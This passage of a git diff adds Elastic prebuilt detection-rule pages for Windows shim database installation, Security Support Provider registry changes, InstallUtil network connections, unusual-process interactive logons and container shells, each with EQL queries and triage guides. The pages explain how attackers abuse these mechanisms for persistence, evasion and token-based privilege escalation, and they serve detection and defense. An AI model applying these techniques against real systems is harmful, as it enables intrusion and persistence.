+** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-custom-shim-databases.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-custom-shim-databases.asciidoc new file mode 100644 index 0000000000..9fd4607e42 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-custom-shim-databases.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-installation-of-custom-shim-databases]] +=== Installation of Custom Shim Databases + +Identifies the installation of custom Application Compatibility Shim databases. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary code execution in legitimate Windows processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Installation of Custom Shim Databases* + + +Application Compatibility Shim databases are used in Windows to ensure older applications run smoothly on newer OS versions by applying compatibility fixes. However, attackers can exploit this feature to maintain persistence and execute arbitrary code by installing malicious shim databases. The detection rule identifies changes in specific registry paths associated with these databases, excluding known legitimate processes, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the registry path changes identified in the alert to confirm the presence of any unexpected or unauthorized .sdb files in the specified registry paths. +- Investigate the process that made the registry change by examining the process executable path and comparing it against the list of known legitimate processes excluded in the query. +- Check the historical activity of the process responsible for the change to identify any patterns or anomalies that might indicate malicious behavior. +- Analyze the context around the time of the registry change, including other system events or alerts, to identify any related suspicious activities. +- If a suspicious .sdb file is found, conduct a file analysis to determine its purpose and whether it contains any malicious code or configurations. +- Consult threat intelligence sources to see if there are any known threats or campaigns associated with the identified process or .sdb file. + + +*False positive analysis* + + +- Known legitimate processes such as SAP and Kaspersky applications may trigger false positives due to their use of shim databases. These processes are already excluded in the detection rule to minimize unnecessary alerts. +- If additional legitimate applications are identified as causing false positives, users can update the exclusion list by adding the specific process executable paths to the rule. +- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate applications that may use shim databases. +- Monitor the frequency and context of alerts to distinguish between benign and potentially malicious activities, adjusting the rule as necessary to reduce noise. +- Engage with application owners to verify the legitimacy of processes that frequently trigger alerts, ensuring that only trusted applications are excluded. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further propagation or communication with potential command and control servers. +- Terminate any suspicious processes identified as responsible for the installation of the custom shim database, ensuring they are not legitimate processes mistakenly flagged. +- Remove the malicious shim database entries from the registry paths specified in the detection query to eliminate persistence mechanisms. +- Conduct a thorough scan of the affected system using updated antivirus and endpoint detection tools to identify and remove any additional malware or unauthorized changes. +- Review and restore any altered system configurations or files to their original state to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for the specified registry paths and associated processes to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\\*.sdb" and + not process.executable : ( + "?:\\Program Files (x86)\\DesktopCentral_Agent\\*\\Setup\\NwSapSetup.exe", + "?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "?:\\Program Files (x86)\\SAP\\SAPsetup\\setup\\NwSapSetup.exe", + "?:\\Program Files (x86)\\SAP\\SapSetup\\OnRebootSvc\\NWSAPSetupOnRebootInstSvc.exe", + "?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfs.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Program Files (x86)\\DesktopCentral_Agent\\*\\Setup\\NwSapSetup.exe", + "\\Device\\HarddiskVolume*\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\SAP\\SAPsetup\\setup\\NwSapSetup.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\SAP\\SapSetup\\OnRebootSvc\\NWSAPSetupOnRebootInstSvc.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Security for Windows Server\\kavfs.exe" + ) and + /* Microsoft Cloud AppCompat SDB test registrations */ + not registry.path : "*\\AppCompatFlags\\Custom\\*\\{22221111-1111-1111-1111-111111111111}.sdb" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Application Shimming +** ID: T1546.011 +** Reference URL: https://attack.mitre.org/techniques/T1546/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-security-support-provider.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-security-support-provider.asciidoc new file mode 100644 index 0000000000..f483ef9f49 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installation-of-security-support-provider.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-installation-of-security-support-provider]] +=== Installation of Security Support Provider + +Identifies registry modifications related to the Windows Security Support Provider (SSP) configuration. Adversaries may abuse this to establish persistence in an environment. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Installation of Security Support Provider* + + +Security Support Providers (SSPs) in Windows environments facilitate authentication processes. Adversaries may exploit SSPs by modifying registry entries to maintain persistence or evade defenses. The detection rule identifies suspicious changes to specific registry paths associated with SSPs, excluding legitimate processes like msiexec.exe, to flag potential unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the registry change event details to identify the specific registry path that was modified, focusing on paths related to "HKLM\SYSTEM\*ControlSet*\Control\Lsa\Security Packages" and "HKLM\SYSTEM\*ControlSet*\Control\Lsa\OSConfig\Security Packages". +- Investigate the process responsible for the registry modification by examining the process executable path, ensuring it is not a legitimate process like "C:\Windows\System32\msiexec.exe" or "C:\Windows\SysWOW64\msiexec.exe". +- Check the historical activity of the identified process to determine if it has been involved in other suspicious activities or registry changes. +- Analyze the user account context under which the process was executed to assess if it aligns with expected behavior or if it indicates potential compromise. +- Correlate the event with other security alerts or logs from data sources such as Elastic Endgame, Elastic Defend, Sysmon, Microsoft Defender XDR, or SentinelOne to gather additional context and identify any related malicious activity. +- Evaluate the potential impact of the registry change on system security and persistence mechanisms, considering the MITRE ATT&CK tactic of Persistence and technique T1547. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger registry changes in SSP paths. Users can create exceptions for known software installers or updaters that frequently modify these registry entries. +- System administrators performing routine maintenance or configuration changes might inadvertently cause registry modifications. Document and exclude these activities when they are verified as non-threatening. +- Security software updates, including those from Microsoft or third-party vendors, may alter SSP configurations as part of their normal operation. Monitor and whitelist these updates to prevent false alerts. +- Automated deployment tools or scripts that modify system settings could lead to false positives. Ensure these tools are accounted for and excluded if they are part of regular operations. +- Custom scripts or applications developed in-house that interact with SSP registry paths should be reviewed and excluded if they are deemed safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes that are not whitelisted, especially those modifying the registry paths associated with Security Support Providers. +- Restore the modified registry entries to their original state using a known good backup or by manually correcting the entries to remove unauthorized changes. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software or artifacts. +- Review and update access controls and permissions to ensure that only authorized personnel can modify critical registry paths related to Security Support Providers. +- Monitor the affected system and network for any signs of re-infection or further suspicious activity, focusing on registry changes and process executions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "Security Packages" and + registry.path : ( + "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Security Packages", + "*\\SYSTEM\\*ControlSet*\\Control\\Lsa\\OSConfig\\Security Packages" + ) and + not process.executable : ( + "C:\\Windows\\System32\\msiexec.exe", + "C:\\Windows\\SysWOW64\\msiexec.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\System32\\msiexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msiexec.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Security Support Provider +** ID: T1547.005 +** Reference URL: https://attack.mitre.org/techniques/T1547/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installutil-process-making-network-connections.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installutil-process-making-network-connections.asciidoc new file mode 100644 index 0000000000..c64543b84e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-installutil-process-making-network-connections.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-installutil-process-making-network-connections]] +=== InstallUtil Process Making Network Connections + +Identifies InstallUtil.exe making outbound network connections. This may indicate adversarial activity as InstallUtil is often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating InstallUtil Process Making Network Connections* + + +InstallUtil.exe is a legitimate Windows utility used for installing and uninstalling server resources by executing installer components. Adversaries exploit it to run malicious code under the guise of legitimate processes, often to evade detection. The detection rule identifies suspicious network activity by monitoring InstallUtil.exe's outbound connections, flagging potential misuse by alerting on the initial network connection attempt. + + +*Possible investigation steps* + + +- Review the alert details to confirm the process.entity_id and ensure it matches the InstallUtil.exe process making the outbound network connection. +- Investigate the destination IP address and port of the network connection to determine if it is known, trusted, or associated with malicious activity. +- Examine the parent process of InstallUtil.exe to identify how it was launched and assess if this behavior is expected or potentially malicious. +- Check the timeline of events around the process start and network connection to identify any other suspicious activities or related processes. +- Look for any additional network connections made by the same process.entity_id to assess if there is a pattern or further evidence of malicious behavior. +- Review system logs and security alerts for any other indicators of compromise or related suspicious activities on the host. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger InstallUtil.exe to make network connections. Users can create exceptions for known software update processes by identifying their specific process entity IDs and excluding them from the alert. +- System administrators may use InstallUtil.exe for routine maintenance tasks that require network access. To prevent false positives, document these tasks and configure the detection rule to exclude these specific instances. +- Automated deployment tools that utilize InstallUtil.exe for legitimate purposes can be a source of false positives. Identify these tools and their associated network activities, then adjust the rule to ignore these benign connections. +- Development environments where InstallUtil.exe is used for testing purposes might generate alerts. Establish a list of development machines and exclude their process entity IDs from the detection rule to reduce noise. +- Scheduled tasks or scripts that use InstallUtil.exe for legitimate network operations should be reviewed. Once verified as non-threatening, these can be added to an exception list to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further malicious activity and potential lateral movement. +- Terminate the InstallUtil.exe process on the affected system to stop any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or associated files. +- Review and analyze the network logs to identify any other systems that may have been contacted by the malicious process and assess if they are compromised. +- Restore the affected system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement network monitoring and alerting for unusual outbound connections from critical systems to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +/* the benefit of doing this as an eql sequence vs kql is this will limit to alerting only on the first network connection */ + +sequence by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and process.name : "installutil.exe"] + [network where host.os.type == "windows" and process.name : "installutil.exe" and network.direction : ("outgoing", "egress")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-logon-by-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-logon-by-an-unusual-process.asciidoc new file mode 100644 index 0000000000..9eed7f5922 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-logon-by-an-unusual-process.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-34-interactive-logon-by-an-unusual-process]] +=== Interactive Logon by an Unusual Process + +Identifies interactive logon attempt with alternate credentials and by an unusual process. Adversaries may create a new token to escalate privileges and bypass access controls. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1134/002/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Interactive Logon by an Unusual Process* + + +*Possible investigation steps* + + +- Did Advapi create an interactive logon for a different target identity? + - Focus: `winlog.logon.type`, `winlog.event_data.LogonProcessName`, `winlog.event_data.SubjectUserSid`, `winlog.event_data.TargetUserSid`, and `host.id`. + - Implication: escalate when Advapi creates a different Target session without recognized credential-switch use; lower suspicion only for bounded runas or helper use on this host. Subject initiated the action; Target received the session or token. +- Which process requested the alternate-credential session? + - Focus: `process.executable`, `process.name`, `process.pid`, `winlog.event_data.SubjectUserName`, and `winlog.event_data.SubjectDomainName`. + - Implication: escalate when the requester is user-writable, temporary, renamed, or unrelated to credential switching; lower suspicion only for System32 runas.exe or a recognized helper tied to the same Subject. Process identity alone does not clear token creation. +- Did the Target session create privileged or linked-token access? + - Focus: `winlog.event_data.TargetUserSid`, `winlog.event_data.TargetLogonId`, `winlog.event_data.TargetLinkedLogonId`, `winlog.event_data.ElevatedToken`, and `winlog.event_data.ImpersonationLevel`. + - Implication: escalate on a privileged or unusual Target account, elevated token, linked session, or impersonation-capable token. Keep unresolved when the Target cannot be tied to the requesting Subject and process; a recognized requester does not clear elevated Target token state. +- Did explicit-credential records show who supplied Target credentials? + - Focus: same-host 4648 records using `winlog.event_data.SubjectLogonId`; read `winlog.event_data.TargetUserName`, `winlog.event_data.TargetDomainName`, `winlog.event_data.TargetServerName`, and `source.ip`. + - Hint: make-token tooling may leave only Advapi, different Subject/Target SIDs, and Target session fields; do not require endpoint command-line evidence before escalation. !{investigate{"description":"","label":"Explicit-credential events from the subject session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectLogonId","queryType":"phrase","value":"{{winlog.event_data.SubjectLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when 4648 shows the same Subject session presenting Target credentials to an unexpected server or non-local origin. Local or absent `source.ip` can occur in make-token cases and must be weighed with requester, identity pair, and token state; missing Security telemetry is unresolved, not benign. +- Did the created Target session show follow-on success or authentication-method signals? + - Focus: same-host 4624 and 4634 records using `winlog.event_data.TargetLogonId`; read `winlog.event_data.TargetUserSid`, `winlog.event_data.AuthenticationPackageName`, and `source.ip`. + - Implication: escalate on unexpected authentication package use, repeated successful session activity, or a non-local origin that contradicts local workflow; absent or local source details should be weighed with Target-token evidence. Missing 4624/4634 telemetry is unresolved, not benign. + - !{investigate{"description":"","label":"Target logon records for the created session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.TargetLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Target logoff records for the created session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.code","queryType":"phrase","value":"4634","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.TargetLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} +- What activity is tied to the created Target logon session? + - Focus: same-host events carrying `winlog.event_data.TargetLogonId`, especially process, privilege, or authentication records tied to the Target identity. !{investigate{"description":"","label":"Events for the created target logon session","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetLogonId","queryType":"phrase","value":"{{winlog.event_data.TargetLogonId}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.logon.id","queryType":"phrase","value":"{{winlog.event_data.TargetLogonId}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the Target session performs privileged operations, starts unexpected processes, or chains authentication; no follow-on telemetry narrows activity only when the requester, identity pair, and token state are otherwise explained. +- If local evidence remains suspicious or unresolved, do related alerts change scope? + - Focus: recent alerts for the same `host.id`, Subject SID, and Target SID. + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the subject identity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{winlog.event_data.SubjectUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the target identity","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserSid","queryType":"phrase","value":"{{winlog.event_data.TargetUserSid}}","valueType":"string"}],[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{winlog.event_data.TargetUserSid}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when related alerts show credential access, privilege escalation, persistence, or lateral movement tied to the host or either identity; quiet alert history cannot close unresolved token/session evidence. +- Escalate on unauthorized Subject-to-Target token creation; close only when the identity pair, requester, Target token, and Security records all bind to one recognized workflow; if mixed, preserve records and use related alerts plus recent session activity to scope the case. + + +*False positive analysis* + + +- Recognized runas, enterprise PAM or credential-broker helpers, and authorized assessment can trigger this rule from monitored admin hosts. Confirm `process.executable`, Subject and Target identities, `host.id`, and explicit-credential or session records bind to the same workflow or validation scope; contradictory Target token details block benign closure. +- Build exceptions only from the minimum confirmed pattern, such as `process.executable` plus `winlog.event_data.SubjectUserSid`, `winlog.event_data.TargetUserSid`, and a bounded `host.id` or host group. Avoid exceptions on `process.name`, `user.name`, or the Target account alone. + + +*Response and remediation* + + +- If confirmed benign, document the evidence categories, reverse temporary containment, and create only the narrow exception described above. +- If suspicious but unconfirmed, export the alert and surrounding Windows Security records, preserve the requesting process image and Subject-to-Target session context, and collect the referenced executable before containment. +- Apply reversible containment first: restrict the affected account or host session, increase monitoring on the involved `host.id` and identities, and weigh host criticality before isolation. +- If confirmed malicious, preserve the executable referenced by `process.executable`, session records, and Subject/Target identifiers, then contain involved hosts or accounts and invalidate active sessions. +- Reset or rotate Target credentials only when compromise or unauthorized use is supported; treat Subject as the operator or requesting context before disabling it. +- Eradicate only confirmed token-abuse tooling or credential material, review local privilege assignments that allowed the session, and retain Windows Security events needed to reconstruct Subject-to-Target token creation. + +==== Setup + + + +*Setup* + + +Audit Logon must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-logon + + +==== Rule query + + +[source, js] +---------------------------------- +authentication where + host.os.type : "windows" and winlog.event_data.LogonProcessName : "Advapi*" and + winlog.logon.type == "Interactive" and winlog.event_data.SubjectUserSid : ("S-1-5-21*", "S-1-12-*") and + winlog.event_data.TargetUserSid : ("S-1-5-21*", "S-1-12-*") and process.executable : "C:\\*" and + not startswith~(winlog.event_data.SubjectUserSid, winlog.event_data.TargetUserSid) and + not process.executable : + ("?:\\Windows\\System32\\winlogon.exe", + "?:\\Windows\\System32\\wininit.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe", + "?:\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Sub-technique: +** Name: Make and Impersonate Token +** ID: T1134.003 +** Reference URL: https://attack.mitre.org/techniques/T1134/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-shell-launched-via-unusual-parent-process-in-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-shell-launched-via-unusual-parent-process-in-a-container.asciidoc new file mode 100644 index 0000000000..c414e169d5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-interactive-shell-launched-via-unusual-parent-process-in-a-container.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-34-interactive-shell-launched-via-unusual-parent-process-in-a-container]] +=== Interactive Shell Launched via Unusual Parent Process in a Container + +This rule detects when an interactive shell process is launched via an unusual parent processes inside a container. Interactive processes are typically run in the foreground and require user input, which is unusual behavior for a containerized environment. This activity could indicate an attacker attempting to gain access to the container environment or perform malicious actions. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon 